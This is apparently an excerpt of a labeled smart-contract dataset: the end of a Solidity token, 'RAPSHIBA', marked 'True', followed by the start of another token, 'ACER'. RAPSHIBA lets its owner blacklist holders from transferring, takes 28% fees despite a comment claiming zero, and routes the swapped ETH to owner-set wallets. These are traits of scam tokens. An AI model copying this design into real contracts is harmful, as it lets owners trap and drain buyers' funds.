uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// Contract implementation
contract RAPSHIBA is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000000000000; //1,000,000,000,000
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'RAPSHIBA';
string private _symbol = 'RAPSHIBA';
uint8 private _decimals = 9;
// Tax and charity fees will start at 0 so we don't have a big impact when deploying to Uniswap
// Charity wallet address is null but the method to set the address is exposed
uint256 private _taxFee = 14;
uint256 private _charityFee = 14;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousCharityFee = _charityFee;
address payable public _charityWalletAddress;
address payable public _marketingWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
uint256 public _maxTxAmount = _tTotal; //no max tx limit rn
uint256 private _numOfTokensToExchangeForCharity = 5000000000000000;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable charityWalletAddress, address payable marketingWalletAddress) public {
_charityWalletAddress = charityWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function isBlackListed(address account) public view returns (bool) {
return _isBlackListedBot[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _charityFee == 0) return;
_previousTaxFee = _taxFee;
_previousCharityFee = _charityFee;
_taxFee = 0;
_charityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_charityFee = _previousCharityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[recipient], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular charity event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForCharity;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the charity wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToCharity(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and charity fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToCharity(uint256 amount) private {
_charityWalletAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToCharity(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeCharity(uint256 tCharity) private {
uint256 currentRate = _getRate();
uint256 rCharity = tCharity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rCharity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tCharity);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getTValues(tAmount, _taxFee, _charityFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCharity);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 charityFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tCharity = tAmount.mul(charityFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tCharity);
return (tTransferAmount, tFee, tCharity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10');
_taxFee = taxFee;
}
function _setCharityFee(uint256 charityFee) external onlyOwner() {
require(charityFee >= 1 && charityFee <= 11, 'charityFee should be in 1 - 11');
_charityFee = charityFee;
}
function _setCharityWallet(address payable charityWalletAddress) external onlyOwner() {
_charityWalletAddress = charityWalletAddress;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-16
*/
/**
*Submitted for verification at Etherscan.io on 2021-02-07
*/
/**
*Submitted for verification at Etherscan.io on 2021-02-07
*/
// ACER PROTOCOL (ACER)
// ACER defistify dogecoin, it’s doge but DeFi
// ACER is a deflationary farming meme powered currency
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ACER is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'ACER';
string private _symbol = 'AC';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
